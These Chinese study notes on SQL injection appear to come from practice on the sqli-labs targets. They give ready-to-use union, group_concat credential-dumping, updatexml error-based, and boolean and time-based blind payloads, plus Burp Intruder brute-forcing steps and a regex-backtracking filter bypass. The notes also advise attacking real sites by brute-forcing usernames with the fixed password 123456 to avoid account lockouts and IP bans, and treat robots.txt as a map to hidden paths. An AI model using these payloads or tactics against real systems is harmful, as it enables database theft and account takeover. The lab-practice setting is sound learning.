substr截断函数
例子:select substr('root',1,1) 输出为r
select substr('root',1,2) 输出为ro
select substr('root',2,2) 输出为oo
ascii转换函数
例子:select ascii('r') 输出为114
select ascii('s') 输出为115
if函数
例子:select if(now()=sysdate(),database(),user()) 输出security
解释:now()函数为当前时间函数,sysdate()也为当前时间函数。假如now()=sysdate()成立,那么显示database(),否则显示user()。
数据库特性
SCHEMATA (schemata)记录数据库名称
TABLES ( tables )记录所有表名 可以包含数据库名
COLUMNS ( columns )记录所有列名 可以查询数据库名 表名
information_schema是系统库,安装mysql自动就有,由系统创建

代码:select table_name from information_schema.tables where table_schema='security' limit 0,1
mysql 联表查询
union 联合
这是最常用的联合,但是有一个前置条件 列数相同
你如何知道你要入侵的这个网站的这个数据表里有几列?
所以我们需要使用order by 排序的意思
例子:我们现在不知道我们入侵的表有几列,于是我们使用**select * from users order by 3 desc;**(含义:用该表的第三列来排序)
当我们输入select * from users order by 4 desc; (含义:用该表的第四列来排序)发现报错显示:ERROR 1054 (42S22): Unknown column '4' in 'order clause' 不知道第四列 ,这时我们就可以推断出该表一共有三列。
知道列数后我们便可以用代码:select * from users union select 1,2,3 (这里select 1,2,3表示创建临时表,第一列是1,第二列是2,第三列是3)

我们借用这个思路便可以使用:**select * from users union select user(),database(),version();**便可以查到当前的用户、数据库名和版本号

那么我们在URL里面便可这么输入:select * from users where id = -1 union select user(),database(),version()--+; (+表示空格)
我们这样就可以查到当前的用户、数据库名和版本号(前端有回显才能利用)
注入思路
如何注入
我们要想实现注入成功那就必须要让数据库误解,其中单双引号 成对出现。
例子:原本的语句为:SELECT * FROM users WHERE id='1'LIMIT 0,1
那么我们为了闭合原本的语句,那就需要在id = '1'这里加一个单引号变为id='1'',这样原本的语句就会变为++SELECT * FROM users WHERE id='1'++ 'LIMIT 0,1,其中下划线的部分被闭合,让数据库认为语句已经完成。但是由于单双引号要成对出现,现在后面还有一个'单引号,这时候我们可以用#将后面的语句注释掉,这样我们的注入就成功了!
原代码被我们改变为SELECT * FROM users WHERE id='1' order by 1 #'LIMIT 0,1(#后默认不执行)
小提示:注释有三种,分别为--空格、#和/**/
子查询解决限制问题
我们学习了以上内容后进阶就需要用到子查询,但是子查询只能够显示一行,如果表中有多行我们就会报错。我们可以选择通过使用 limit 0 1去进行限制,这样就会给我们返还想要的内容
但是假如我们的表有100个,那么单纯使用limit函数要使用100次,特别的麻烦,这时我们有两个解决办法:
方法一
使用burpSuite(BP)爆破模块来进行遍历
1.抓包后右键发送到Intruder
2.接着在需要爆破的地方进行标注
需要注意的是,这里一共有四种爆破方式
第一种就是单个字段爆破
第二种就是现在一共标注了两个字段,但是两个字段使用同一个字典
第三种是一一对应的方式,比如我们标注了两个爆破字段,那么我们就需要准备两个字典。例子:我们标注了username 和 password两个字段,那么我们需要准备用户和密码两个字典,用户字典的第一个值(zhangsan)和密码的第一个值(123456)相对应,第二个值(lisi)和第二个值(456789)相对应,以及类推。
第四种为一对多模式,也就是说用户字典的第一个值和密码的第一个值对应,然后和密码的第二个值对应,接着是用户字典的第二个值和密码的第一个值对应,然后和第二个值对应,举例为:
zhangsan 123456
zhangsan 456789
lisi 123456
lisi 456789

3.选择参数
这里就选择payload type类型为数字(numbers),下面的From和TO为开始和终止,所以终止为100
最后按下 start attack即可
爆破说明:
看长度length,假如长度一致表示爆破失败,长度不一致表示爆破成功!
方法二
使用group_concat函数,该函数的作用为:将多行合并为一行。
例子:Less-1/?id=-1 union select 1,(select group_concat(username,0x3a,password)from users),3--+(0x3a为冒号(:))
报错注入
利用数据库在执行 SQL 时产生的错误信息,把我们想要的数据"拼"进报错里显示出来。
updatexml函数:用于更新XML文档中的节点内容
例如:select updatexml(1,concat(0x7e,database(),0x7e),1); ----错误信息会包含数据库名
布尔盲注
页面不返回错误、不回显数据,但你可以通过页面"真假变化"来判断 SQL 条件是否成立。
-
条件为真 → 页面正常
-
条件为假 → 页面空白
select * from users where id=1' and substr(database(),1,1)='s'; -------当前数据库名的第一个字母是不是 s
127.0.0.1/sql/less-8/?id=1' and length(database())=9; ------当前数据库名的长度是不是 9
127.0.0.1/sql/less-8/?id=1' and length(database())=8; -----当前数据库名的长度是不是 8

时间盲注
页面没有任何回显差异,只能靠"响应时间"判断真假。
**127.0.0.1/sql/less-8/?id=1' and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+ ----**若页面延时了,则:数据库第一个字母是k
爆破建议
一般来讲建议爆破用户名,不要爆破密码。
现在每个网站连续输错密码后会封禁一段时间,甚至有可能封禁IP,所以爆破密码风险极大。
爆破用户名后,只需要用弱密码进行尝试,也就是固定密码为123456,接着爆破用户名,这样攻下的概率比较大。
robots.txt 是什么?
简单来说就是网站放在根目录的一张 "爬虫告示牌",里面的内容大致如下: User-agent: * # 所有爬虫都遵守这个规矩
Disallow: /admin/ # 别去后台管理文件夹
Allow: /public/ # 公开文件夹随便逛
这个robots.txt只是告知而不是强制,所以黑客会主动看这里,比如看到写了Disallow: /backup/,就知道你网站有个备份文件夹,直接去扫这个路径找漏洞即可。
正则回溯绕过
正则表达式的回溯绕过是指通过构造恶意输入,使得正则表达式引擎在匹配字符串时产生大量回溯操作,从而导致性能下降甚至造成拒绝服务(DoS)攻击。
正则的表达式为:select(.*)from
可以匹配到:selectaaaaaaaaaaaaaaaaaaaaaaaaaafrom

前七步去匹配select

到第八步开始匹配.*,也就是匹配所有
.接着往后匹配from时发现不一样,匹配到了m,就往前推移


最后匹配到from匹配完毕

那么在这一过程中,假如匹配的次数超过1000000就会报错
攻击 Payload: select/*a*1000000*/from
我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。